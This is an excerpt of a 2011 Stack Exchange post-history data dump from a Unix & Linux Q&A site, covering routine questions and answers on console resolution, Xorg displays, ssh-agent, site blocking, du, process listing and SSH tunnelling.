  <row Id="33990" PostHistoryTypeId="2" PostId="13618" RevisionGUID="0bc6664c-f30b-4ae8-8171-b92240ceeb72" CreationDate="2011-05-23T08:55:28.153" UserId="6921" Text="I cannot post a comment, but knowing your distribution, video card model and driver version might help people give you a better advice.&#xD;&#xA;&#xD;&#xA;I would read about enabling `KMS` to make your console use the whole screen with its native resolution and then about `setfont` to adjust console font size. At least KMS is what I used on my Arch box to run framebuffer in monitor's native 1366*768." />
  <row Id="33991" PostHistoryTypeId="5" PostId="13617" RevisionGUID="d94a5554-3d7b-48b4-bd2c-a2dfa05bcaf6" CreationDate="2011-05-23T08:58:10.970" UserId="6339" Comment="added information" Text="Google could not help me with this problem. I hope you guys can.&#xD;&#xA;&#xD;&#xA;When I boot my computer, the first few screens presented to me by BIOS and boot menu are stretched to fit the LCD screen. Once Linux boots, however, the screen shrinks so one pixel of the console font uses only one pixel of the screen, causing the usable area of screen to shrink to only the upper left part of the screen, since the console uses only 640x480 of the 1280x1024 size monitor.&#xD;&#xA;&#xD;&#xA;I know I can use the VGA= boot flag to set modes that increases the number of rows and columns of text, so that the whole screen is used. However, what I want to do is keep the number of rows and columns *as they are* but scale the whole screen to fit the monitor, just like the BIOS boot messages. I need to do this in a way that will work on any monitor automatically.&#xD;&#xA;&#xD;&#xA;**EDIT**: I've not given info on hardware on purpose, because I want the solution to be hardware-agnostic. The distribution I'm using is Ubuntu 10.10.&#xD;&#xA;" />
  <row Id="33992" PostHistoryTypeId="2" PostId="13619" RevisionGUID="b0950c72-5db8-401d-8996-277ae4f0160c" CreationDate="2011-05-20T10:47:51.777" UserId="7572" Text="I have a laptop (~5 year old HP compaq nc6400 running Fedora Linux) that I use most of the time as a desktop machine. It is plugged into a docking station with its lid closed and connected through that by DVI cable to a large external LCD display.&#xD;&#xA;&#xD;&#xA;For various reasons (login greeter appears on closed display, limited graphics card cannot do 3D to both displays at once) I would like to prevent the laptop's integrated display panel being used by X at all. While docked and on my desk (which is how I use it about 97% of the time) I would like it to simply not use the integrated laptop panel. Booting is not a particular problem, as by default everything is mirrored between the two displays. Also, I don't mind a 'manual' solution, such that I have to undo settings on those rare occasions when I am using the laptop away from my desk.&#xD;&#xA;&#xD;&#xA;Once logged in I can configure Gnome so that it only uses the external monitor and the laptop panel is marked &quot;off&quot;, however this has no effect on the initial auto-configured state of X and the pre-login greeter display. Surprisingly the laptop does not appear to have a lid sensor, so opening or closing the lid does not appear to trigger any events. I can use `xrandr -display :0 --output LVDS1 --off --output DVI1 --auto` on a separate VC before login, but this is still after the fact of X having started and discovered and deciding to use both displays.&#xD;&#xA;&#xD;&#xA;I tried configuring Xorg by creating a file `/etc/X11/xorg.conf.d/01-turn-off-laptop-display.conf` which contains:&#xD;&#xA;&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier	&quot;laptop panel&quot;&#xD;&#xA;    	Option	&quot;Monitor-LVDS1&quot; &quot;laptop panel&quot;&#xD;&#xA;    	Option	&quot;Enable&quot; &quot;no&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;    	Identifier	&quot;big display&quot;&#xD;&#xA;    	Option	&quot;Monitor-DVI1&quot; &quot;big display&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;    	Identifier	&quot;main&quot;&#xD;&#xA;    	Device	&quot;Default&quot;&#xD;&#xA;    	Monitor	&quot;big display&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;However that did not have a useful effect.&#xD;&#xA;The video card is Intel 945GM:&#xD;&#xA;&#xD;&#xA;    [dan@khorium ~]$ sudo lspci -v -s 0:2&#xD;&#xA;    00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03) (prog-if 00 [VGA controller])&#xD;&#xA;    	Subsystem: Hewlett-Packard Company Device 30ad&#xD;&#xA;    	Flags: bus master, fast devsel, latency 0, IRQ 16&#xD;&#xA;    	Memory at f4600000 (32-bit, non-prefetchable) [size=512K]&#xD;&#xA;    	I/O ports at 4000 [size=8]&#xD;&#xA;    	Memory at e0000000 (32-bit, prefetchable) [size=256M]&#xD;&#xA;    	Memory at f4680000 (32-bit, non-prefetchable) [size=256K]&#xD;&#xA;    	Expansion ROM at &lt;unassigned&gt; [disabled]&#xD;&#xA;    	Capabilities: [90] MSI: Enable- Count=1/1 Maskable- 64bit-&#xD;&#xA;    	Capabilities: [d0] Power Management version 2&#xD;&#xA;    	Kernel driver in use: i915&#xD;&#xA;    	Kernel modules: i915&#xD;&#xA;    &#xD;&#xA;    00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)&#xD;&#xA;    	Subsystem: Hewlett-Packard Company Device 30ad&#xD;&#xA;    	Flags: bus master, fast devsel, latency 0&#xD;&#xA;    	Memory at f4700000 (32-bit, non-prefetchable) [size=512K]&#xD;&#xA;    	Capabilities: [d0] Power Management version 2&#xD;&#xA;&#xD;&#xA;The machine has been running various versions of Fedora Linux (x86_64) since about version 10/11). I'm currently trying Fedora 15 beta (which includes Gnome 3), but the problem has existed in previous OS releases." />
  <row Id="33993" PostHistoryTypeId="1" PostId="13619" RevisionGUID="b0950c72-5db8-401d-8996-277ae4f0160c" CreationDate="2011-05-20T10:47:51.777" UserId="7572" Text="how do I prevent Xorg using my Linux laptop's display panel?" />
  <row Id="33994" PostHistoryTypeId="3" PostId="13619" RevisionGUID="b0950c72-5db8-401d-8996-277ae4f0160c" CreationDate="2011-05-20T10:47:51.777" UserId="7572" Text="élinuxàégnomeàéxorgà" />
  <row Id="33995" PostHistoryTypeId="17" PostId="13619" RevisionGUID="ea18eb21-fdb9-4d86-b64c-0cb51d8252c3" CreationDate="2011-05-23T09:01:52.463" UserId="-1" Comment="from http://superuser.com/questions/286165/how-do-i-prevent-xorg-using-my-linux-laptops-display-panel" Text="" />
  <row Id="33996" PostHistoryTypeId="5" PostId="13608" RevisionGUID="b469eac5-0f12-48eb-a9a7-605d682860ea" CreationDate="2011-05-23T09:02:51.887" UserId="4781" Comment="added 104 characters in body; added 199 characters in body" Text="With [Keychain][1] you can do it as long as you use a key pair without password. It is a simple shell script wrapping ssh-agent, so there is no need to install any additional software.&#xD;&#xA;&#xD;&#xA;It automatically detects if you have ssh-agents running and uses them. You can configure it to automatically load a set of keys and to forget them on certain occasions.&#xD;&#xA;&#xD;&#xA;Is ideal to deal with cronjobs that require SSH access to a different machine. You only need to `source` the correct file in `~/.keychain` file and it the cronjob will be able to use any key you have setup.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.funtoo.org/wiki/Keychain" />
  <row Id="33997" PostHistoryTypeId="5" PostId="13608" RevisionGUID="81fbe0c7-2d71-4eff-88d8-59437755658e" CreationDate="2011-05-23T09:10:04.657" UserId="4781" Comment="added 277 characters in body" Text="With [Keychain][1] you can do it as long as you use a key pair without password. It is a simple shell script wrapping ssh-agent, so there is no need to install any additional software.&#xD;&#xA;&#xD;&#xA;It automatically detects if you have ssh-agents running and uses them. You can configure it to automatically load a set of keys and to forget them on certain occasions.&#xD;&#xA;&#xD;&#xA;Is ideal to deal with cronjobs that require SSH access to a different machine. You only need to `source` the correct file in `~/.keychain` file and it the cronjob will be able to use any key you have setup.&#xD;&#xA;&#xD;&#xA;**Note**: This will work even if you logout but it won't if you restart the system or kill the agent. There is now way to keep a key open if the agent is dead unless you store the password in a file. Obviously this would defeat the whole purpose of password protected keys.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.funtoo.org/wiki/Keychain" />
  <row Id="33998" PostHistoryTypeId="25" PostId="13617" RevisionGUID="e128bff1-0a8e-4154-b3c1-91ea42a2912a" CreationDate="2011-05-23T09:12:36.373" Comment="http://twitter.com/#!/StackUnix/status/72590742140362752" />
  <row Id="33999" PostHistoryTypeId="2" PostId="13620" RevisionGUID="a1ed5a07-4dc6-4c53-9126-c53f0a72a731" CreationDate="2011-05-23T09:17:53.830" UserId="6960" Text="https://addons.mozilla.org/en-US/firefox/addon/facebookblocker/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So are there any ways to block facebook.com outside the facebook.com domain?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I need a souliton that's not &quot;webbrowser related&quot; - no Add-on, so e.g.: a Privoxy rule.&lt;br&gt;&#xD;&#xA;It would still not work on HTTPS sites, only on HTTP, ok, but I still need this rule, but I don't have a clue what it is. Does anybody has?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="34000" PostHistoryTypeId="1" PostId="13620" RevisionGUID="a1ed5a07-4dc6-4c53-9126-c53f0a72a731" CreationDate="2011-05-23T09:17:53.830" UserId="6960" Text="blocking facebook.com outside facebook.com domain" />
  <row Id="34001" PostHistoryTypeId="3" PostId="13620" RevisionGUID="a1ed5a07-4dc6-4c53-9126-c53f0a72a731" CreationDate="2011-05-23T09:17:53.830" UserId="6960" Text="éprivoxyà" />
  <row Id="34002" PostHistoryTypeId="5" PostId="13388" RevisionGUID="4d81526e-1419-4e87-948d-1aebd4c82d60" CreationDate="2011-05-23T09:30:55.067" UserId="6960" Comment="added 344 characters in body; edited tags; edited title; added 13 characters in body" Text="If I want to share my Films/Videos on LAN, what should I choose? My solution would be Samba.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: what else is there? ( NFS is very bad - security (?) + in many cases it could freeze the clients.. )&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The main purpose is that it must be a &quot;mountable&quot; solution - so the clients can see a &quot;folder&quot; (the &quot;folder&quot; is actually the shared folder on a server - READ ONLY!). And they don't need to first copy the e.g.: AVI files to their PC because they could play them directly from the &quot;folder&quot;." />
  <row Id="34003" PostHistoryTypeId="4" PostId="13388" RevisionGUID="4d81526e-1419-4e87-948d-1aebd4c82d60" CreationDate="2011-05-23T09:30:55.067" UserId="6960" Comment="added 344 characters in body; edited tags; edited title; added 13 characters in body" Text="File sharing solutions for LAN network?" />
  <row Id="34004" PostHistoryTypeId="6" PostId="13388" RevisionGUID="4d81526e-1419-4e87-948d-1aebd4c82d60" CreationDate="2011-05-23T09:30:55.067" UserId="6960" Comment="added 344 characters in body; edited tags; edited title; added 13 characters in body" Text="ésambaà" />
  <row Id="34005" PostHistoryTypeId="5" PostId="13609" RevisionGUID="ea4ea07f-bc82-4050-b13d-581cd5c7167c" CreationDate="2011-05-23T09:42:40.733" UserId="885" Comment="changed awk call to use -v, the former code was correct but weird (OFS was reset at every line)" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a decorate-sort-undecorate. That is, take the filename and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; |\&#xD;&#xA;        awk -vFS=/ -vOFS=/ '{ print $NF,$0 }' |\&#xD;&#xA;        sort -n -t / |\&#xD;&#xA;        cut -f2- -d/&#xD;&#xA;&#xD;&#xA;That `awk` command says the *field separator* `FS` is set to `/`; this affects the way it reads fields. The *output field separator* `OFS` is also set to `/`; this affects the way it prints records. The next statement says print the last column (`NF` is the number of fields in the record, so it also happens to be the index of the last field) as well as the whole record (`$0` is the whole record); it will print them with the OFS between them. Then the list is `sort`ed, treating `/` as the field separator - since we have the filename first in the record, it will sort by that. Then the `cut` removes prints only fields 2 through the end, again treating `/` as the field separator." />
  <row Id="34006" PostHistoryTypeId="2" PostId="13621" RevisionGUID="ce77c893-32a9-4661-84bf-a1d3e1062820" CreationDate="2011-05-23T10:30:58.063" UserId="7696" Text="I just built a ssh VM at work a few days ago, for the same reason you want to build yours.  actually, it's for outbound ssh forwarding for local workstations on private addresses as well as for inbound ssh proxying.&#xD;&#xA;&#xD;&#xA;I just used debian squeeze (minimal base install, no X.  about the only unusual thing was libpam-ldap for authentication via the university's Active Directory server...and proper configuration of /etc/security/access.conf of course so that only users in my faculty can login, and not every test/test account that some idiot in some other faculty has created in their OU.  have also set up sshd_config so that password logins are only allowed from the local network, while connections from anywhere else require a public key.  and iptables recent match rules to filter out the non-stop ssh script-kiddie probes)&#xD;&#xA;&#xD;&#xA;the VM is 512M (probably more than is really needed), and virtio disk and network drivers.  performance is more than acceptable.  it only has 1 CPU allocated to it, i might have to add more if usage is higher than currently predicted (a few dozen academics and postgrads).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;by &quot;painfully slow&quot;, do you mean when you view the VNC console in virt-manager?&#xD;&#xA;&#xD;&#xA;if so, that's a known bug - virt-manager's VNC performance is abysmal.  the VM itself is fine, ssh into it runs at normal speed, a VNC connection from any other VNC client is great but using the VNC console built in to virt-manager is excruciating...you can see the individual characters appear on the screen one at a time as text is output.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34007" PostHistoryTypeId="5" PostId="13618" RevisionGUID="fa219c87-13c4-424f-8562-49d751199835" CreationDate="2011-05-23T10:59:22.230" UserId="6921" Comment="added 194 characters in body" Text="I cannot post a comment, but knowing your distribution, video card model and driver version might help people give you a better advice.&#xD;&#xA;&#xD;&#xA;I would read about enabling `KMS` to make your console use the whole screen with its native resolution and then about `setfont` to adjust console font size. At least KMS is what I used on my Arch box to run framebuffer in monitor's native 1366*768.&#xD;&#xA;&#xD;&#xA;Other way to solve this is changing BIOS settings, see [Conslole mode only using 640x480 of 1027x768 area][1] at Archlinux BBs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bbs.archlinux.org/viewtopic.php?pid=585473" />
  <row Id="34008" PostHistoryTypeId="2" PostId="13622" RevisionGUID="a4172c7b-6843-4d30-a484-c955f4eb6b20" CreationDate="2011-05-23T11:58:32.643" UserId="2343" Text="Is there a combination of command-line options for `ps` or `pgrep` or some other relatively direct way to determine if a particular process name is actually running (available for normal use)..   &#xD;&#xA;&#xD;&#xA;By &quot;running&quot;, I mean to specifically exclude processes which are `&lt;defunct&gt;` or any other non-running processes (eg. zombies :)... &#xD;&#xA;&#xD;&#xA;This sample script shows an example of `&lt;defunct&gt;` items:  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash   ubuntu 10.04&#xD;&#xA;    &#xD;&#xA;      pgrep ^gnuserv$&#xD;&#xA;    # 25591&#xD;&#xA;    # 25599&#xD;&#xA;    # 27330&#xD;&#xA;    &#xD;&#xA;      for p in $(pgrep ^gnuserv$) ;do ps x |grep &quot;^$p&quot; ;done&#xD;&#xA;    # 25591 ?        Zs     0:00 [gnuserv] &lt;defunct&gt;&#xD;&#xA;    # 25599 ?        Zs     0:00 [gnuserv] &lt;defunct&gt;&#xD;&#xA;    # 27330 pts/2    S+     0:00 gnuserv&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I could further `sed` the output, but I think/hope there's a more direct way...&#xD;&#xA;" />
  <row Id="34009" PostHistoryTypeId="1" PostId="13622" RevisionGUID="a4172c7b-6843-4d30-a484-c955f4eb6b20" CreationDate="2011-05-23T11:58:32.643" UserId="2343" Text="How to list only non-&lt;defunct&gt; processes?" />
  <row Id="34010" PostHistoryTypeId="3" PostId="13622" RevisionGUID="a4172c7b-6843-4d30-a484-c955f4eb6b20" CreationDate="2011-05-23T11:58:32.643" UserId="2343" Text="éprocessàépsà" />
  <row Id="34011" PostHistoryTypeId="25" PostId="13622" RevisionGUID="871a4563-442e-4d8b-b189-525aced4702e" CreationDate="2011-05-23T12:12:35.830" Comment="http://twitter.com/#!/StackUnix/status/72636037750468608" />
  <row Id="34012" PostHistoryTypeId="2" PostId="13623" RevisionGUID="7b0c98b1-7b34-4123-b3d1-40dcbba1d85c" CreationDate="2011-05-23T12:25:27.943" UserId="1262" Text="How can I find how much disk does a list of files use. I want a working version of&#xD;&#xA;&#xD;&#xA;    du -s *.sql&#xD;&#xA;" />
  <row Id="34013" PostHistoryTypeId="1" PostId="13623" RevisionGUID="7b0c98b1-7b34-4123-b3d1-40dcbba1d85c" CreationDate="2011-05-23T12:25:27.943" UserId="1262" Text="How much disk space does a list of file do" />
  <row Id="34014" PostHistoryTypeId="3" PostId="13623" RevisionGUID="7b0c98b1-7b34-4123-b3d1-40dcbba1d85c" CreationDate="2011-05-23T12:25:27.943" UserId="1262" Text="écommandölineàédisköusageà" />
  <row Id="34015" PostHistoryTypeId="2" PostId="13624" RevisionGUID="cea9b42f-e31f-45af-8de6-b7a5ea18a453" CreationDate="2011-05-23T12:27:27.630" UserId="6921" Text="Would you please tell us which kind of encryption you use on your router?&#xD;&#xA;&#xD;&#xA;You can also try [wicd][1], it's a great connectivity tool and it can work with ncurses interface or gtk (not gnome) frontend. You only run it once, establish a connection, tell wicd to remember it and add wicd daemon to your startup scripts. After that you can just forget about your connection and not run a frontend for months - it will just work. I used it with different distributions and different desktop environments (or standalone WMs) and I'm very happy with it.&#xD;&#xA;&#xD;&#xA;  [1]: http://wicd.sourceforge.net/" />
  <row Id="34016" PostHistoryTypeId="2" PostId="13625" RevisionGUID="e8069cd2-b55e-4636-b869-902a2089493a" CreationDate="2011-05-23T12:29:23.637" UserId="1835" Text="What doesn't work from your example?  Do you want a sum? `man du` shows that the `-`c argument provides a sum of usage:&#xD;&#xA;&#xD;&#xA;    du -sc *.sql&#xD;&#xA;    &#xD;&#xA;You may also like the `-h` or `-k` arguments." />
  <row Id="34017" PostHistoryTypeId="2" PostId="13626" RevisionGUID="ab3dc98a-d3e3-4a3d-b8f7-1b6dac5bcb30" CreationDate="2011-05-23T12:29:36.693" UserId="1925" Text="Your question is very ambiguous but I suspect you are looking for the `-c` flag to produce a total.&#xD;&#xA;&#xD;&#xA;    du -c *.sql" />
  <row Id="34018" PostHistoryTypeId="2" PostId="13627" RevisionGUID="ec317cc0-b96c-4bd2-b641-8ae74f509fb6" CreationDate="2011-05-23T12:33:47.313" UserId="1835" Text="The trade-off between size and quality is a personal, subjective one.  What you are doing there is [transcoding](http://en.wikipedia.org/wiki/Transcoding) an already-lossy-compressed video from one format to another.  An analogy would be recording from one VHS tape to another:  the source will have some imperfections in it which will be recorded onto the destination, in addition to new imperfections.&#xD;&#xA;&#xD;&#xA;How big are your source videos?  For archiving, I would recommend storing the best quality you have.&#xD;&#xA;&#xD;&#xA;Other considerations are the longevity and availability of software to play back the format you choose.  x.264 and mp3 (your choices, above) are not bad, on that score.&#xD;&#xA;&#xD;&#xA;A useful set of articles for this subject are Mark Pilgrim's &quot;A gentle introduction to video encoding&quot;: http://diveintomark.org/tag/give" />
  <row Id="34019" PostHistoryTypeId="5" PostId="13623" RevisionGUID="485bb5e1-e02e-4c6d-b6aa-684735dd2b1d" CreationDate="2011-05-23T12:35:45.480" UserId="1262" Comment="clarification" Text="How can I find how much disk does a list of files use. I want a working version of&#xD;&#xA;&#xD;&#xA;    du -s *.sql&#xD;&#xA;&#xD;&#xA;I want to see only the grand total, and with my `du`, it always shows the list of all files." />
  <row Id="34020" PostHistoryTypeId="2" PostId="13628" RevisionGUID="9aafb4fa-0372-4a90-8658-e7bf2a0c6e84" CreationDate="2011-05-23T06:05:32.357" UserId="7756" UserDisplayName="user" Text="I'm trying to start the Tor daemon as another user. When it installs, Tor automatically creates a new user &quot;debian-tor&quot;, however, it does not run as this user, but rather as root.&#xD;&#xA;&#xD;&#xA;In Debain 5 I removed Tor from start up with Update-rc.d, and added a new start up script that basically does `su debian-tor -c '/etc/init/tor $1'`. This worked great, but in Dabian 6 (using insserv instead of update-rc.d) it asked for **debiant-tor**'s password (in spite of running as root).&#xD;&#xA;&#xD;&#xA;I'm at a loss here, my iptables will only work if Tor runs as a different user, and it's much safer not to run it as root. What can I do?" />
  <row Id="34021" PostHistoryTypeId="1" PostId="13628" RevisionGUID="9aafb4fa-0372-4a90-8658-e7bf2a0c6e84" CreationDate="2011-05-23T06:05:32.357" UserId="7756" UserDisplayName="user" Text="In Debian 6, how to start a daemon as a different user?" />
  <row Id="34022" PostHistoryTypeId="3" PostId="13628" RevisionGUID="9aafb4fa-0372-4a90-8658-e7bf2a0c6e84" CreationDate="2011-05-23T06:05:32.357" UserId="7756" UserDisplayName="user" Text="édebianà" />
  <row Id="34023" PostHistoryTypeId="17" PostId="13628" RevisionGUID="17a57182-51f8-4012-aa22-f44e7d3e1023" CreationDate="2011-05-23T12:36:36.447" UserId="-1" Comment="from http://stackoverflow.com/questions/6093408/in-debian-6-how-to-start-a-daemon-as-a-different-user" Text="" />
  <row Id="34024" PostHistoryTypeId="2" PostId="13629" RevisionGUID="0dd92b2c-9eaa-4526-9a98-2c140692daa8" CreationDate="2011-05-23T12:45:46.683" UserId="903" Text="When using a terminal emulator, one can stop the currently running program with either &lt;kbd&gt;CTRL-Z&lt;/kbd&gt; or &lt;kbd&gt;CTRL-S&lt;/kbd&gt;. What's the difference between these signals?" />
  <row Id="34025" PostHistoryTypeId="1" PostId="13629" RevisionGUID="0dd92b2c-9eaa-4526-9a98-2c140692daa8" CreationDate="2011-05-23T12:45:46.683" UserId="903" Text="What's the difference between the ^S and ^Z control characters inside a terminal?" />
  <row Id="34026" PostHistoryTypeId="3" PostId="13629" RevisionGUID="0dd92b2c-9eaa-4526-9a98-2c140692daa8" CreationDate="2011-05-23T12:45:46.683" UserId="903" Text="éttyàésignalsà" />
  <row Id="34027" PostHistoryTypeId="2" PostId="13630" RevisionGUID="ecc7fb0f-8a4c-48e0-a1e5-8bf9787c0cec" CreationDate="2011-05-23T12:50:07.963" UserId="7698" Text="One time-honored way of blocking access to remote sites is by putting &quot;fake&quot; entries (usually 127.0.0.1) in the hosts file.&#xD;&#xA;&#xD;&#xA;In short, edit /etc/hosts and add entries like this:&#xD;&#xA;&#xD;&#xA;    127.0.0.1    facebook.com&#xD;&#xA;    172.0.0.1    apps.facebook.com&#xD;&#xA;&#xD;&#xA;FMI on this trick, [read this][1]; for more ideas of blocking, [read that][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://osxdaily.com/2007/03/19/block-access-to-specified-sites-by-modifying-etchosts/&#xD;&#xA;  [2]: http://www.wikihow.com/Block-MySpace-from-a-Home-Network" />
  <row Id="34028" PostHistoryTypeId="2" PostId="13631" RevisionGUID="1800fd53-a2f3-4793-af57-4acf9a1ddf76" CreationDate="2011-05-23T13:05:05.797" UserId="7492" Text="you can try with the -v option of grep which negate the regex like this :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for p in $(pgrep ^gnuserv$) ;do ps x |grep &quot;^$p&quot; | grep -v \&lt;defunct\&gt; ;done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34029" PostHistoryTypeId="2" PostId="13632" RevisionGUID="71c35f8b-fdeb-4a02-84c6-666b968ef886" CreationDate="2011-05-23T13:05:38.610" UserId="1925" Text="One pauses and backgrounds a job, one freezes it in place. With Z, you are returned to a terminal and can run commands like `bg` to continue the job in the background or `fg` to continue in the foreground. With S you are just left with a frozen program staring you in the face." />
  <row Id="34030" PostHistoryTypeId="2" PostId="13633" RevisionGUID="65665179-92e0-4611-9b74-66d9657108fc" CreationDate="2011-05-23T13:33:42.573" UserId="6960" Text="http://i.imgur.com/YTOvt.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Goal: you need to reach &quot;Server B&quot; from the Client &quot;directly&quot; with SSH, SCP.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&quot;Server B&quot; is next to &quot;Server A&quot;. E.g.: they're on the same subnet, but only &quot;Server A&quot; is reachable from the Internet -&gt; so &quot;Server B&quot; is only indirectly accessible.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know how to use tsocks: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;install tsocks&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	yum install tsocks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;configure it [by default there is no config file..]&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	vim /etc/tsocks.conf&#xD;&#xA;	server = 127.0.0.1&#xD;&#xA;	server_port = 4000&#xD;&#xA;&#xD;&#xA;create the ssh tunnel&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	ssh -v -fND localhost:4000 USERNAME@SERVER-A&#xD;&#xA;&#xD;&#xA;check that if it's created&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	ps aux | fgrep -i ssh&#xD;&#xA;	USER      8894  0.0  0.0   9780   708 ?        Ss   11:58   0:00 ssh -v -fND localhost:4000 USERNAME@SERVER-A&#xD;&#xA;	netstat -tulpn | fgrep -i ssh&#xD;&#xA;	tcp        0      0 127.0.0.1:4000              0.0.0.0:*                   LISTEN      8894/ssh&#xD;&#xA;&#xD;&#xA;how to use tsocks&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	tsocks ssh root@SERVER-B&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;kill the ssh tunnel&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	kill `pgrep -f 'D localhost:4000'`&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The whole thing is fully OK to me. Fine.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The Question: How can I use multiple ssh tunnels with e.g.: tsocks?&lt;br&gt;&#xD;&#xA;I mean I have to use several ssh tunnels (on different ports of course).&lt;br&gt;&#xD;&#xA;How can I set e.g.: tsocks to &quot;memorize&quot; several ssh tunnels (ports)?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The &quot;/etc/tsocks.conf&quot; file only allows one server, that's ok, because If I ssh tunnel to somewhere I have to go through 127.0.0.1, but I need more ports, because 1 port = 1 ssh tunnel. Several ssh tunnels can't bind to 1 port.&lt;br&gt;&#xD;&#xA;I'm using Fedora 14 for &quot;Desktop PC&quot;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="34031" PostHistoryTypeId="1" PostId="13633" RevisionGUID="65665179-92e0-4611-9b74-66d9657108fc" CreationDate="2011-05-23T13:33:42.573" UserId="6960" Text="Multiple SSH chaining (tsocks, socksify, proxycommand, etc. )" />
  <row Id="34032" PostHistoryTypeId="3" PostId="13633" RevisionGUID="65665179-92e0-4611-9b74-66d9657108fc" CreationDate="2011-05-23T13:33:42.573" UserId="6960" Text="élinuxàéfedoraàésshötunnelingà" />
  <row Id="34033" PostHistoryTypeId="2" PostId="13634" RevisionGUID="d8b3b5f3-fba6-4dd6-9afe-b53ddb3b1963" CreationDate="2011-05-23T13:45:23.723" UserId="7525" Text="Assuming you have access to your firewall, You can just block Facebook's prefixes.&#xD;&#xA;You can find out their ASN from traceroute:&#xD;&#xA;&#xD;&#xA;    $  traceroute -n -A www.facebook.com&#xD;&#xA;    ....&#xD;&#xA;    14  4.69.149.82 [AS3356]  630.713 ms  633.180 ms 4.69.149.146 [AS3356]  629.633 ms&#xD;&#xA;    15  4.53.112.58 [AS3356]  578.959 ms  580.703 ms  579.624 ms&#xD;&#xA;    16  204.15.20.120 [AS32934/AS10753]  577.604 ms  557.247 ms  636.807 ms&#xD;&#xA;    17  74.119.76.67 [AS32934]  633.454 ms 74.119.76.186 [AS32934]  602.556 ms  603.583 ms&#xD;&#xA;    18  74.119.76.197 [AS32934]  634.461 ms 74.119.76.205 [AS32934]  634.431 ms 74.119.77.55 [AS32934]  702.079 ms&#xD;&#xA;    19  69.63.190.10 [AS32934/AS10753]  701.423 ms  700.644 ms  700.937 ms&#xD;&#xA;&#xD;&#xA;Which you can verify with tools such as [these][1]&#xD;&#xA;&#xD;&#xA;    $ dig +short AS32934.asn.cymru.com TXT&#xD;&#xA;    &quot;32934 | US | arin | 2004-08-24 | FACEBOOK - Facebook, Inc.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then you'd get their prefixes using a [lookup service][2]&#xD;&#xA;&#xD;&#xA;    $ lynx --dump https://www.dan.me.uk/bgplookup?asn=32934 2&gt;&amp;1 | grep AS32934&#xD;&#xA;       IPv4 Prefixes seen at AS32934:&#xD;&#xA;         204.15.20.0/22       [AS32934]&#xD;&#xA;         2620:0:1c00::/40     [AS32934]&#xD;&#xA;         66.220.144.0/21      [AS32934]&#xD;&#xA;         66.220.152.0/21      [AS32934]&#xD;&#xA;         66.220.159.0/24      [AS32934]&#xD;&#xA;         69.171.224.0/20      [AS32934]&#xD;&#xA;         69.171.239.0/24      [AS32934]&#xD;&#xA;         69.171.240.0/20      [AS32934]&#xD;&#xA;         69.171.255.0/24      [AS32934]&#xD;&#xA;         69.63.176.0/21       [AS32934]&#xD;&#xA;         69.63.184.0/21       [AS32934]&#xD;&#xA;         74.119.76.0/22       [AS32934]&#xD;&#xA;&#xD;&#xA;You can then feed the prefixes into your firewall.&#xD;&#xA;&#xD;&#xA;Of course, If I am a determined user, I could use any of the free proxies out there rendering this whole post moot.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.team-cymru.org/Services/ip-to-asn.html&#xD;&#xA;  [2]: https://www.dan.me.uk/bgplookup?asn=32934&#xD;&#xA;" />
